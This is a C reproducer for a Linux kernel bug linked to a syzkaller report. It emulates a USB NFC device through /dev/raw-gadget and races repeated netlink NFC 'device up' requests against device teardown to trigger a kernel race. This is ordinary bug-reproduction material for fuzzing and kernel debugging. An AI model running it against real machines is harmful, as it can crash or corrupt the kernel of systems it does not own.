// https://syzkaller.appspot.com/bug?id=1b151c83069255cc431214c6ae81b838c7c0eca8
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sched.h>
#include <errno.h>
#include <linux/usb/ch9.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>

#define UDC_NAME_LENGTH_MAX 128

struct usb_raw_init {
	__u8	driver_name[UDC_NAME_LENGTH_MAX];
	__u8	device_name[UDC_NAME_LENGTH_MAX];
	__u8	speed;
};

enum usb_raw_event_type {
	USB_RAW_EVENT_INVALID		= 0,
	USB_RAW_EVENT_CONNECT		= 1,
	USB_RAW_EVENT_CONTROL		= 2,
	USB_RAW_EVENT_SUSPEND		= 3,
	USB_RAW_EVENT_RESUME		= 4,
	USB_RAW_EVENT_RESET		= 5,
	USB_RAW_EVENT_DISCONNECT	= 6,
};

struct usb_raw_event {
	__u32		type;
	__u32		length;
	__u8		data[];
};

struct usb_raw_ep_io {
	__u16		ep;
	__u16		flags;
	__u32		length;
	__u8		data[];
};

#define USB_RAW_IOCTL_INIT		_IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN		_IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH	_IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE		_IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ		_IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE		_IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_DISABLE	_IOW('U', 6, __u32)
#define USB_RAW_IOCTL_EP_WRITE		_IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_READ		_IOWR('U', 8, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE		_IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL		_IO('U', 12)

#define NLA_ALIGNTO 4
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#define NLA_HDRLEN ((int) NLA_ALIGN(sizeof(struct nlattr)))
#define NLA_DATA(na) ((void *)((char*)(na) + NLA_HDRLEN))
#define NLA_NEXT(na,len) ((len) -= NLA_ALIGN((na)->nla_len), \
                          (struct nlattr*)((char*)(na) + NLA_ALIGN((na)->nla_len)))
#define NLA_OK(na,len) ((len) >= (int)sizeof(struct nlattr) && \
                        (na)->nla_len >= sizeof(struct nlattr) && \
                        (na)->nla_len <= (len))

#define GENLMSG_DATA(glh) ((void *)((char*)NLMSG_DATA(glh) + GENL_HDRLEN))

void pin_to_cpu(int cpu) {
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(cpu, &cpuset);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset) < 0) {
        printf("[-] Failed to sched_setaffinity: %s\n", strerror(errno));
    }
}

struct usb_device_descriptor dev_desc = {
    .bLength = USB_DT_DEVICE_SIZE,
    .bDescriptorType = USB_DT_DEVICE,
    .bcdUSB = 0x0200,
    .bDeviceClass = 0xFF,
    .bDeviceSubClass = 4,
    .bDeviceProtocol = 1,
    .bMaxPacketSize0 = 64,
    .idVendor = 0x1286,
    .idProduct = 0x2046,
    .bcdDevice = 0x0100,
    .iManufacturer = 0,
    .iProduct = 0,
    .iSerialNumber = 0,
    .bNumConfigurations = 1,
};

struct usb_config_descriptor conf_desc = {
    .bLength = USB_DT_CONFIG_SIZE,
    .bDescriptorType = USB_DT_CONFIG,
    .wTotalLength = USB_DT_CONFIG_SIZE + USB_DT_INTERFACE_SIZE + 2 * USB_DT_ENDPOINT_SIZE,
    .bNumInterfaces = 1,
    .bConfigurationValue = 1,
    .iConfiguration = 0,
    .bmAttributes = USB_CONFIG_ATT_ONE,
    .bMaxPower = 50,
};

struct usb_interface_descriptor intf_desc = {
    .bLength = USB_DT_INTERFACE_SIZE,
    .bDescriptorType = USB_DT_INTERFACE,
    .bInterfaceNumber = 0,
    .bAlternateSetting = 0,
    .bNumEndpoints = 2,
    .bInterfaceClass = 0xFF,
    .bInterfaceSubClass = 4,
    .bInterfaceProtocol = 1,
    .iInterface = 0,
};

struct usb_endpoint_descriptor ep1_desc = {
    .bLength = USB_DT_ENDPOINT_SIZE,
    .bDescriptorType = USB_DT_ENDPOINT,
    .bEndpointAddress = USB_DIR_IN | 1,
    .bmAttributes = USB_ENDPOINT_XFER_BULK,
    .wMaxPacketSize = 512,
    .bInterval = 0,
};

struct usb_endpoint_descriptor ep2_desc = {
    .bLength = USB_DT_ENDPOINT_SIZE,
    .bDescriptorType = USB_DT_ENDPOINT,
    .bEndpointAddress = USB_DIR_OUT | 2,
    .bmAttributes = USB_ENDPOINT_XFER_BULK,
    .wMaxPacketSize = 512,
    .bInterval = 0,
};

uint8_t config_buf[256];

void build_config() {
    uint8_t *p = config_buf;
    memcpy(p, &conf_desc, USB_DT_CONFIG_SIZE); p += USB_DT_CONFIG_SIZE;
    memcpy(p, &intf_desc, USB_DT_INTERFACE_SIZE); p += USB_DT_INTERFACE_SIZE;
    memcpy(p, &ep1_desc, USB_DT_ENDPOINT_SIZE); p += USB_DT_ENDPOINT_SIZE;
    memcpy(p, &ep2_desc, USB_DT_ENDPOINT_SIZE); p += USB_DT_ENDPOINT_SIZE;
}

int current_fd = -1;
pthread_mutex_t fd_lock = PTHREAD_MUTEX_INITIALIZER;
volatile int stop_threads = 0;
volatile int usb_configured = 0;

void *ep_write_thread(void *arg) {
    int ep1 = (int)(intptr_t)arg;
    while (!stop_threads) {
        pthread_mutex_lock(&fd_lock);
        int fd = current_fd;
        pthread_mutex_unlock(&fd_lock);
        if (fd < 0) break;

        struct usb_raw_ep_io *io = malloc(sizeof(*io) + 64);
        if (!io) break;
        io->ep = ep1;
        io->flags = 0;
        io->length = 0; // 0-byte completion
        if (ioctl(fd, USB_RAW_IOCTL_EP_WRITE, io) < 0) {
            free(io);
            break;
        }
        free(io);
    }
    return NULL;
}

void *usb_ep0_thread(void *arg) {
    int local_fd = (int)(intptr_t)arg;
    while (!stop_threads) {
        struct usb_raw_event *event = malloc(sizeof(*event) + 1024);
        if (!event) break;
        event->length = 1024;
        if (ioctl(local_fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) {
            free(event);
            break;
        }

        if (event->type == USB_RAW_EVENT_CONTROL) {
            struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)event->data;
            if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
                if (ctrl->bRequest == USB_REQ_GET_DESCRIPTOR) {
                    uint8_t desc_type = ctrl->wValue >> 8;
                    if (desc_type == USB_DT_DEVICE) {
                        struct usb_raw_ep_io *io = malloc(sizeof(*io) + sizeof(dev_desc));
                        io->ep = 0; io->flags = 0; io->length = sizeof(dev_desc);
                        if (io->length > ctrl->wLength) io->length = ctrl->wLength;
                        memcpy(io->data, &dev_desc, io->length);
                        ioctl(local_fd, USB_RAW_IOCTL_EP0_WRITE, io);
                        free(io);
                    } else if (desc_type == USB_DT_CONFIG) {
                        struct usb_raw_ep_io *io = malloc(sizeof(*io) + conf_desc.wTotalLength);
                        io->ep = 0; io->flags = 0; io->length = conf_desc.wTotalLength;
                        if (io->length > ctrl->wLength) io->length = ctrl->wLength;
                        memcpy(io->data, config_buf, io->length);
                        ioctl(local_fd, USB_RAW_IOCTL_EP0_WRITE, io);
                        free(io);
                    } else {
                        ioctl(local_fd, USB_RAW_IOCTL_EP0_STALL, 0);
                    }
                } else if (ctrl->bRequest == USB_REQ_SET_CONFIGURATION) {
                    ioctl(local_fd, USB_RAW_IOCTL_CONFIGURE, 0);
                    int ep1_handle = ioctl(local_fd, USB_RAW_IOCTL_EP_ENABLE, &ep1_desc);
                    int ep2_handle = ioctl(local_fd, USB_RAW_IOCTL_EP_ENABLE, &ep2_desc);

                    struct usb_raw_ep_io *io = malloc(sizeof(*io));
                    io->ep = 0; io->flags = 0; io->length = 0;
                    ioctl(local_fd, USB_RAW_IOCTL_EP0_READ, io);
                    free(io);

                    pthread_mutex_lock(&fd_lock);
                    current_fd = local_fd;
                    pthread_mutex_unlock(&fd_lock);

                    usb_configured = 1;

                    pthread_t th;
                    pthread_create(&th, NULL, ep_write_thread, (void *)(intptr_t)ep1_handle);
                    pthread_detach(th);
                } else if (ctrl->bRequest == USB_REQ_SET_INTERFACE) {
                    struct usb_raw_ep_io *io = malloc(sizeof(*io));
                    io->ep = 0; io->flags = 0; io->length = 0;
                    ioctl(local_fd, USB_RAW_IOCTL_EP0_READ, io);
                    free(io);
                } else {
                    ioctl(local_fd, USB_RAW_IOCTL_EP0_STALL, 0);
                }
            } else {
                ioctl(local_fd, USB_RAW_IOCTL_EP0_STALL, 0);
            }
        }
        free(event);
    }
    return NULL;
}

void *usb_thread(void *arg) {
    pin_to_cpu(0);
    build_config();
    
    int local_fd = open("/dev/raw-gadget", O_RDWR);
    if (local_fd < 0) {
        printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/raw-gadget\n");

    struct usb_raw_init init = {
        .driver_name = "dummy_udc",
        .device_name = "dummy_udc.0",
        .speed = USB_SPEED_HIGH,
    };
    if (ioctl(local_fd, USB_RAW_IOCTL_INIT, &init) < 0) {
        printf("[-] Failed to USB_RAW_IOCTL_INIT: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] USB_RAW_IOCTL_INIT successful\n");

    if (ioctl(local_fd, USB_RAW_IOCTL_RUN, 0) < 0) {
        printf("[-] Failed to USB_RAW_IOCTL_RUN: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] USB_RAW_IOCTL_RUN successful\n");

    pthread_t ep0_th;
    pthread_create(&ep0_th, NULL, usb_ep0_thread, (void *)(intptr_t)local_fd);

    sleep(3); // Let it run for 3 seconds to trigger the race

    stop_threads = 1;
    pthread_mutex_lock(&fd_lock);
    current_fd = -1;
    pthread_mutex_unlock(&fd_lock);
    
    close(local_fd);
    pthread_join(ep0_th, NULL);
    
    return NULL;
}

int resolve_family(int fd, const char *name) {
    struct {
        struct nlmsghdr n;
        struct genlmsghdr g;
        char buf[256];
    } req;
    struct sockaddr_nl nladdr;
    struct iovec iov;
    struct msghdr msg;
    struct nlattr *na;

    memset(&req, 0, sizeof(req));
    req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    req.n.nlmsg_type = GENL_ID_CTRL;
    req.n.nlmsg_flags = NLM_F_REQUEST;
    req.g.cmd = CTRL_CMD_GETFAMILY;
    req.g.version = 1;

    na = (struct nlattr *) GENLMSG_DATA(&req);
    na->nla_type = CTRL_ATTR_FAMILY_NAME;
    na->nla_len = strlen(name) + 1 + NLA_HDRLEN;
    strcpy((char *) NLA_DATA(na), name);
    req.n.nlmsg_len += NLA_ALIGN(na->nla_len);

    memset(&nladdr, 0, sizeof(nladdr));
    nladdr.nl_family = AF_NETLINK;

    iov.iov_base = &req;
    iov.iov_len = req.n.nlmsg_len;

    memset(&msg, 0, sizeof(msg));
    msg.msg_name = &nladdr;
    msg.msg_namelen = sizeof(nladdr);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    if (sendmsg(fd, &msg, 0) < 0) return -1;

    char buf[4096];
    int len = recv(fd, buf, sizeof(buf), 0);
    if (len < 0) return -1;

    struct nlmsghdr *h = (struct nlmsghdr *) buf;
    if (h->nlmsg_type == NLMSG_ERROR) return -1;

    struct genlmsghdr *gh = (struct genlmsghdr *) NLMSG_DATA(h);
    struct nlattr *tb[CTRL_ATTR_MAX + 1];
    memset(tb, 0, sizeof(tb));
    
    struct nlattr *attr = (struct nlattr *) ((char *) gh + GENL_HDRLEN);
    int rem = h->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
    while (NLA_OK(attr, rem)) {
        if (attr->nla_type <= CTRL_ATTR_MAX)
            tb[attr->nla_type] = attr;
        attr = NLA_NEXT(attr, rem);
    }

    if (tb[CTRL_ATTR_FAMILY_ID])
        return *(uint16_t *) NLA_DATA(tb[CTRL_ATTR_FAMILY_ID]);
    return -1;
}

void send_dev_up(int fd, int family_id, uint32_t dev_idx) {
    struct {
        struct nlmsghdr n;
        struct genlmsghdr g;
        char buf[256];
    } req;
    struct sockaddr_nl nladdr;
    struct iovec iov;
    struct msghdr msg;
    struct nlattr *na;

    memset(&req, 0, sizeof(req));
    req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    req.n.nlmsg_type = family_id;
    req.n.nlmsg_flags = NLM_F_REQUEST;
    req.g.cmd = 2; // NFC_CMD_DEV_UP
    req.g.version = 1;

    na = (struct nlattr *) GENLMSG_DATA(&req);
    na->nla_type = 1; // NFC_ATTR_DEVICE_INDEX
    na->nla_len = sizeof(uint32_t) + NLA_HDRLEN;
    *(uint32_t *) NLA_DATA(na) = dev_idx;
    req.n.nlmsg_len += NLA_ALIGN(na->nla_len);

    memset(&nladdr, 0, sizeof(nladdr));
    nladdr.nl_family = AF_NETLINK;

    iov.iov_base = &req;
    iov.iov_len = req.n.nlmsg_len;

    memset(&msg, 0, sizeof(msg));
    msg.msg_name = &nladdr;
    msg.msg_namelen = sizeof(nladdr);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    sendmsg(fd, &msg, 0);
}

void *netlink_thread(void *arg) {
    int cpu = (int)(intptr_t)arg;
    pin_to_cpu(cpu);
    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (fd < 0) {
        printf("[-] Failed to create netlink socket: %s\n", strerror(errno));
        return NULL;
    }

    int family_id = -1;
    while (family_id < 0 && !stop_threads) {
        family_id = resolve_family(fd, "nfc");
        usleep(100000);
    }

    if (family_id >= 0) {
        printf("[+] Resolved nfc family id: %d\n", family_id);
    }

    while (!usb_configured && !stop_threads) {
        usleep(10000);
    }

    while (!stop_threads) {
        for (int i = 0; i < 16; i++) {
            send_dev_up(fd, family_id, i);
        }
    }
    close(fd);
    return NULL;
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    pthread_t t1, t2, t3, t4;
    pthread_create(&t1, NULL, usb_thread, NULL);
    pthread_create(&t2, NULL, netlink_thread, (void *)1);
    pthread_create(&t3, NULL, netlink_thread, (void *)2);
    pthread_create(&t4, NULL, netlink_thread, (void *)3);
    
    pthread_join(t1, NULL);
    
    stop_threads = 1;
    pthread_join(t2, NULL);
    pthread_join(t3, NULL);
    pthread_join(t4, NULL);
    
    printf("[+] Done\n");
    return 0;
}